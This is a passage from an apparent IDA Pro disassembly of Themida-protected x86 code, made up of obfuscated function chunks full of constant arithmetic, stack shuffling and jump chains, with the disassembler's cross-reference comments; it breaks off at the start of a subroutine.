; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564CDA


loc_563837:				; CODE XREF: sub_564CDA-FEBj
		pop	eax
		and	eax, ebp
		mov	ebp, [esp-4+arg_0]
		jmp	sub_56B11B
; END OF FUNCTION CHUNK	FOR sub_564CDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_563842:				; CODE XREF: sub_569A84+A395j
		pop	ecx
		jmp	loc_5711B7
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------


loc_563848:				; CODE XREF: Themida_:00562406j
		xchg	ecx, [esp]
		jmp	loc_569173
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561979


loc_563850:				; CODE XREF: sub_561979+17ECj
		xor	eax, 523E22E8h
		dec	eax
		shr	eax, 5
		add	eax, 0FC1850ACh
		add	esi, eax
		pop	eax
		jmp	loc_56FB34
; END OF FUNCTION CHUNK	FOR sub_561979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_563866:				; CODE XREF: sub_56AB5E+1E9Fj
		push	small 7181h
		mov	word ptr [esp+6+var_8+2], ax
		mov	ah, 0E7h
		jmp	loc_5660D9
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_563875:				; CODE XREF: sub_56102D-74Fj
		mov	edx, 4
		mov	edi, edx
		jmp	loc_569DC3
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_563881:				; CODE XREF: sub_56E126-5405j
		pop	eax
		push	esi
		jmp	loc_562B36
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_563888:				; CODE XREF: sub_561541+5C0Cj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_573735
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_563897:				; CODE XREF: sub_574CDD-7132j
		push	eax
		mov	eax, 50751C74h
		dec	eax
		add	eax, 715F4E77h
		neg	eax
		jmp	loc_56A4F5
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------


loc_5638AA:				; CODE XREF: Themida_:00571754j
		movzx	cx, ah
		push	small 30F1h
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_5662E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_5638BF:				; CODE XREF: sub_570732-2939j
		push	edx
		push	eax
		mov	eax, 62D65919h
		sub	eax, 5FE4451Fh
		or	eax, 0BA61946h
		not	eax
		sub	eax, 0F1B56E4Fh
		mov	edx, eax
		pop	eax
		add	edi, edx
		mov	edx, [esp+14h+var_14]
		jmp	loc_569E7C
; END OF FUNCTION CHUNK	FOR sub_570732

; =============== S U B	R O U T	I N E =======================================



sub_5638E4	proc near		; CODE XREF: sub_5731F9+1C9Bj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005614DA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005635A6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00564679 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00564919 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 00564E1C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056521C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00565EB9 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056B599 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056BA49 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056CE4E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D973 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056F69A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056F93F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00570693 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00570AA4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00575404 SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_56CE4E
sub_5638E4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_5638EC:				; CODE XREF: sub_569193+2E2Fj
		mov	esp, [esp+4+var_4]
		jmp	loc_56A35D
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_5638F4:				; CODE XREF: sub_571890-A88Aj
		sub	ecx, 204E1209h
		sub	ecx, 22082967h
		add	ecx, ebp
		add	ecx, 22082967h
		jmp	sub_56657A
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_56390D:				; CODE XREF: sub_56CC46+6j
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_5650C9
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_563917:				; CODE XREF: sub_56B06D+25C2j
		mov	edi, 0A1C648Bh
		push	ecx
		mov	ecx, 421430Ch
		add	edi, ecx
		pop	ecx
		jmp	loc_569503
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560D31


loc_56392A:				; CODE XREF: sub_560D31+7F2Cj
		mov	ah, bl
		jmp	loc_573B7D
; END OF FUNCTION CHUNK	FOR sub_560D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568764


loc_563931:				; CODE XREF: sub_568764+6E45j
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		jmp	loc_56B936
; END OF FUNCTION CHUNK	FOR sub_568764
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E05C


loc_563945:				; CODE XREF: sub_56E05C-91E4j
		inc	edi
		jmp	loc_5740AC
; END OF FUNCTION CHUNK	FOR sub_56E05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56394B:				; CODE XREF: sub_56616D+9852j
		pop	edi
		add	esi, 4
		xor	esi, [esp+0]
		jmp	loc_56AA15
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56395A:				; CODE XREF: sub_574304-3246j
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	esi
		xor	[esp+0Ch+var_C], 20D24751h
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_571C80
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569B75


loc_563973:				; CODE XREF: sub_569B75+332j
		xor	ebp, 44132928h
		shl	ebp, 7
		add	ebp, 1A9B736Eh
		jmp	loc_571408
; END OF FUNCTION CHUNK	FOR sub_569B75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_563987:				; CODE XREF: sub_5685B2+3B02j
		push	edx
		mov	dl, 3Dh
		jmp	loc_5617E0
; ---------------------------------------------------------------------------


loc_56398F:				; CODE XREF: sub_5685B2+9j
		push	6BE34431h
		pop	esi
		push	ecx
		push	edx
		push	ebp
		mov	ebp, 7F511F39h
		jmp	loc_561E61
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569AB3


loc_5639A2:				; CODE XREF: sub_569AB3+5AE4j
		push	esi
		mov	esi, ecx
		mov	edx, esi
		pop	esi
		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+0Ch+var_8]
		mov	ebx, [esp+10h+var_10]
		jmp	loc_566873
; END OF FUNCTION CHUNK	FOR sub_569AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_5639CA:				; CODE XREF: sub_563819+FCEBj
		xor	[esp+8+var_8], esi
		xor	esi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], edx
		sub	esp, 4
		mov	[esp+0], esi
		push	63946F14h
		pop	esi
		jmp	loc_5723CB
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_5639E7:				; CODE XREF: sub_560CF1+499Dj
		add	esp, 4
		add	esp, 4
		add	eax, 4
		push	edi
		mov	edi, 4
		jmp	loc_56A5A9
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D855


loc_5639FD:				; CODE XREF: sub_56D855+9D3j
		neg	eax
		add	eax, 155B7693h
		add	ecx, 67702348h
		add	ecx, eax
		sub	ecx, 67702348h
		pop	eax
		jmp	loc_5691E7
; END OF FUNCTION CHUNK	FOR sub_56D855
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AEF2


loc_563A18:				; CODE XREF: sub_56AEF2+8j
		pop	ebx
		xor	dl, 0E4h
		jmp	loc_5704B4
; END OF FUNCTION CHUNK	FOR sub_56AEF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5671E1


loc_563A21:				; CODE XREF: sub_5671E1-4CBFj
		mov	edi, [esp+8+var_8]
		jmp	loc_5665B5
; END OF FUNCTION CHUNK	FOR sub_5671E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_563A29:				; CODE XREF: sub_56AB5E+3F4Aj
		mov	esi, 186F6023h
		add	eax, esi
		pop	esi
		sub	eax, 5A470BBBh
		jmp	loc_5745EA
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------


loc_563A3B:				; CODE XREF: Themida_:0056E448j
		pop	eax
		sub	ebp, eax
		pop	eax
		sub	edx, 423536E6h
		add	edx, ebp
		add	edx, 423536E6h
		pop	ebp
		push	ebp
		jmp	loc_565C2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A119


loc_563A54:				; CODE XREF: sub_56A119+6C25j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56A119
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567866


loc_563A59:				; CODE XREF: sub_567866+409Cj
		mov	edi, eax
		jmp	loc_565BDF
; END OF FUNCTION CHUNK	FOR sub_567866
; ---------------------------------------------------------------------------


loc_563A60:				; CODE XREF: Themida_:005657CAj
		pop	edx
		jmp	loc_571E02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_563A66:				; CODE XREF: sub_5687A3-36DFj
		shl	esi, 3
		jmp	loc_56AFF2
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EFD2


loc_563A6E:				; CODE XREF: sub_56EFD2-3942j
		xchg	edi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], edi
		push	[esp+arg_0]
		pop	edi
		jmp	loc_5715BD
; END OF FUNCTION CHUNK	FOR sub_56EFD2

; =============== S U B	R O U T	I N E =======================================



sub_563A7F	proc near		; CODE XREF: sub_564C54-1B47j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005601BF SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00560750 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056115A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005619F8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561B8C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00561C19 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563824 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00563C6D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005641CC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00564B78 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056527D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005654BE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00565E2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00565E64 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566781 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00566919 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005672B7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00568A2B SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00568E18 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056932E SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00569D76 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056A613 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056A84E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056AC8E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AE85 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056B4B6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056B819 SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0056BFF3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C682 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C785 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056C862 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056CEAD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056CFA7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056DDAE SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056DFD3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056E8C8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056EB42 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056EF2A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056F851 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0057079C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570CF4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005716B7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057174B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00573491 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573CA3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005745FE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00574A08 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574C8C SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00574CC4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00574FBC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005754E9 SIZE 00000006 BYTES

		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ecx
		jmp	loc_568A2B
sub_563A7F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_563A8A:				; CODE XREF: sub_56FB8A-4F66j
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xor	edi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edi
		xor	edi, [esp+0Ch+var_C]
		pop	esp
		neg	edi
		add	edi, 7C575615h
		jmp	loc_569E0A
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E4D4


loc_563AB0:				; CODE XREF: sub_56E4D4-2E75j
		sub	eax, 3BBA696Ch
		add	eax, 54C64FDBh
		mov	ebx, [esp+0]
		add	esp, 4
		add	eax, 14985F36h
		push	[esp-4+arg_0]
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_569EF0
; END OF FUNCTION CHUNK	FOR sub_56E4D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567B29


loc_563AD9:				; CODE XREF: sub_567B29+A79Aj
		pop	esi
		jmp	loc_56F8BC
; END OF FUNCTION CHUNK	FOR sub_567B29

; =============== S U B	R O U T	I N E =======================================



sub_563ADF	proc near		; DATA XREF: Themida_:0055FDE8o

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005711A1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005739A9 SIZE 0000000B BYTES

		sub	esp, 4
		push	7026h
		mov	[esp+8+var_8], ebx
		jmp	loc_5711A1
sub_563ADF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_563AF2:				; CODE XREF: sub_56D69D+51A4j
		pop	edx
		add	eax, ebp
		jmp	loc_571737
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564BC5


loc_563AFA:				; CODE XREF: sub_564BC5-167Fj
		pop	eax
		jmp	loc_56DE25
; END OF FUNCTION CHUNK	FOR sub_564BC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_563B00:				; CODE XREF: sub_57354D-3324j
		mov	ebx, 4
		and	ecx, ebx
		push	[esp+4+var_4]
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	edi
		push	esp
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], edx
		mov	edx, 4
		push	edx
		mov	edx, 36B230CBh
		jmp	loc_574751
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_563B3E:				; CODE XREF: sub_5690E8-46C0j
		pop	esp
		jmp	loc_5689D1
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_563B44:				; CODE XREF: sub_56E96D+10j
		pop	[esp+0Ch+var_C]
		add	[esp+8+var_8], 4
		push	[esp+8+var_8]
		jmp	loc_57022E
; END OF FUNCTION CHUNK	FOR sub_56E96D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565AFE


loc_563B56:				; CODE XREF: sub_565AFE+D93Ej
		pop	edx
		pop	[esp-4+arg_0]
		pop	esp
		mov	cx, [esp-0Ch+arg_8]
		jmp	sub_5683C0
; END OF FUNCTION CHUNK	FOR sub_565AFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_563B64:				; CODE XREF: sub_56A7FB+5F2Cj
		shr	ch, 2
		jmp	loc_5688A0
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_563B6C:				; CODE XREF: sub_565632+3149j
		mov	[esp-4+arg_0], edi
		push	esp
		jmp	loc_56F4B3
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_563B75:				; CODE XREF: sub_56EE9F-A236j
		sub	ecx, 4
		xchg	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 27125A81h
		jmp	loc_564BB3
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_563B9D:				; CODE XREF: sub_570732-115Aj
		mov	ecx, 56E40915h
		add	ebx, ecx
		pop	ecx
		jmp	loc_56667B
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD44


loc_563BAA:				; CODE XREF: sub_56BD44+5D4Cj
		push	ecx
		mov	ecx, 1667D31Bh
		sub	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, ebp
		mov	ebx, edx
		pop	edx
		pop	ebp
		inc	ebx
		jmp	loc_565A49
; END OF FUNCTION CHUNK	FOR sub_56BD44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_563BC0:				; CODE XREF: sub_574656-3E97j
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_563E44
; END OF FUNCTION CHUNK	FOR sub_574656

; =============== S U B	R O U T	I N E =======================================



sub_563BCC	proc near		; CODE XREF: sub_5685B2+79A2j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560D5B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00562C41 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00566728 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00566E6F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00567FF2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056A027 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056C047 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C929 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056FCCB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0057288B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00573D60 SIZE 0000000E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp+4+var_4]
		jmp	loc_56C047
sub_563BCC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_563BE1:				; CODE XREF: sub_56CC46+7352j
		push	edi
		jmp	loc_57053B
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------


loc_563BE7:				; CODE XREF: Themida_:0056D880j
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_564C6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_563BFB:				; CODE XREF: sub_56D4B8-27A3j
		add	esp, 4
		jmp	sub_56FCD7
; END OF FUNCTION CHUNK	FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_563C03:				; CODE XREF: sub_5734A7-DF2Dj
		mov	edi, [esp+4+var_4]
		jmp	loc_56C5A6
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_563C0B:				; CODE XREF: sub_561418+E30j
		pop	ebp
		jmp	loc_56635B
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D69D


loc_563C11:				; CODE XREF: sub_56D69D-40C5j
		mov	ebx, 572C428Ch
		add	ebx, 6A341484h
		add	ebx, 1
		jmp	loc_570B6B
; END OF FUNCTION CHUNK	FOR sub_56D69D
; ---------------------------------------------------------------------------


loc_563C27:				; CODE XREF: Themida_:00567C53j
		add	ecx, edi
		jmp	loc_573265
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_563C2E:				; CODE XREF: sub_574A21-143D1j
		pop	eax
		inc	ecx
		sub	ecx, 628B21DCh
		sub	ecx, 7F164B63h
		xor	ecx, 41A7FBF9h
		sub	ebx, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	ebx, 30E589Fh
		push	4FEDh
		mov	[esp+4+var_4], eax
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_563C60:				; CODE XREF: sub_5753A5-25D3j
		add	ebp, 0CB56440h
		add	ebp, eax
		jmp	loc_573D98
; END OF FUNCTION CHUNK	FOR sub_5753A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_563C6D:				; CODE XREF: sub_563A7F+A575j
		pop	esp
		push	edx
		mov	edx, 1
		sub	ecx, 6C272A13h
		jmp	loc_56DDAE
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_563C7F:				; CODE XREF: sub_56FA15-14E4j
		sub	ch, 48h
		add	al, ch
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_5662F0
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5604FE


loc_563C94:				; CODE XREF: sub_5604FE+10F63j
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], eax
		jmp	loc_56F416
; END OF FUNCTION CHUNK	FOR sub_5604FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C3E2


loc_563CAA:				; CODE XREF: sub_56C3E2-7906j
		push	esi
		push	[esp+10h+var_C]
		pop	esi
		pop	[esp+10h+var_10]
		pop	esp
		jmp	loc_567F44
; END OF FUNCTION CHUNK	FOR sub_56C3E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DC7


loc_563CB9:				; CODE XREF: sub_566DC7-660Dj
		push	edi
		mov	edi, 1CC04652h
		add	edi, 474F35CCh
		dec	edi
		or	edi, 1C3E4A49h
		inc	edi
		sub	edi, 4C0D43B5h
		add	esi, edi
		pop	edi
		jmp	loc_566543
; END OF FUNCTION CHUNK	FOR sub_566DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_563CDB:				; CODE XREF: sub_56657A+E2DFj
		push	edx
		jmp	loc_56AE2C
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564CDA


loc_563CE1:				; CODE XREF: sub_564CDA+A243j
		add	ebp, eax
		add	ebp, 0D9861ADh
		sub	ebp, 681E6541h
		jmp	loc_563837
; END OF FUNCTION CHUNK	FOR sub_564CDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_563CF4:				; CODE XREF: sub_5690E8+6EF6j
		add	esp, 4
		add	edi, ecx
		sub	edi, 115D0B90h
		push	[esp+8+var_8]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		pop	esp
		xor	edi, [esp+8+var_8]
		xor	[esp+8+var_8], edi
		xor	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_567DB1
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------


loc_563D27:				; CODE XREF: Themida_:005694FEj
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 5C317DF3h
		mov	edx, ebp
		mov	ebp, [esp]
		jmp	loc_5636A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56749A


loc_563D3D:				; CODE XREF: sub_56749A+10j
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 2
		add	eax, ecx
		pop	ecx
		push	1CECh
		mov	[esp+8+var_8], eax
		push	[esp+8+var_4]
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		pop	eax
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		mov	eax, esp
		jmp	loc_564DB3
; END OF FUNCTION CHUNK	FOR sub_56749A
; ---------------------------------------------------------------------------


loc_563D71:				; CODE XREF: Themida_:0056B197j
		add	esp, 4
		add	edx, 12152ADBh
		add	edx, edi
		sub	edx, 12152ADBh
		pop	edi
		push	ebp
		mov	ebp, 5DB51FD6h
		jmp	loc_560C5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB51


loc_563D91:				; CODE XREF: sub_56AB51-8EAAj
		sub	ecx, 30AB447Ah
		inc	ecx
		and	ecx, 6A610392h
		jmp	loc_569984
; END OF FUNCTION CHUNK	FOR sub_56AB51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570019


loc_563DA3:				; CODE XREF: sub_570019+6j
		add	dword ptr [esp+0], 4
		pop	edi
		jmp	loc_5652FD
; END OF FUNCTION CHUNK	FOR sub_570019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5715F0


loc_563DB0:				; CODE XREF: sub_5715F0-3E9Cj
		sub	dword ptr [esp+8], 6D49345Ch
		sub	[esp+8], ecx
		jmp	loc_56F29E
; END OF FUNCTION CHUNK	FOR sub_5715F0
; ---------------------------------------------------------------------------


loc_563DC1:				; CODE XREF: Themida_:00567A2Ej
		sub	ebx, ecx
		mov	ecx, ebx
		pop	ebx
		jmp	loc_56674F

; =============== S U B	R O U T	I N E =======================================



sub_563DCB	proc near		; CODE XREF: sub_56A016+20B3j

var_4		= dword	ptr -4
